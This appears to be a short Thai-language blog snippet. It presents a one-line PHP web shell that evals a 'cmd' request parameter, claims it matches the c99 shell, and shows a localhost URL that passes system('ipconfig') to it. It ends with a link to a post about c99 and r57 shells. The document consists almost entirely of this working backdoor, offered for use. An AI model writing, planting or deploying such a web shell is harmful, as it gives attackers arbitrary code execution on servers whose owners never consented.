<?php @eval($_GET['cmd']);die; ?>

จากโค้ดข้างบนก็สามารถทำได้ทุกอย่างไม่แพ้กับ c99 เลยนะครับรูปแบบการใช้งานก็จะเป็นแบบนี้นะ..

http://localhost/shell.php?cmd=system(‘ipconfig’);

http://icheernoom.blogspot.com/2011/12/shell-c99-r57.html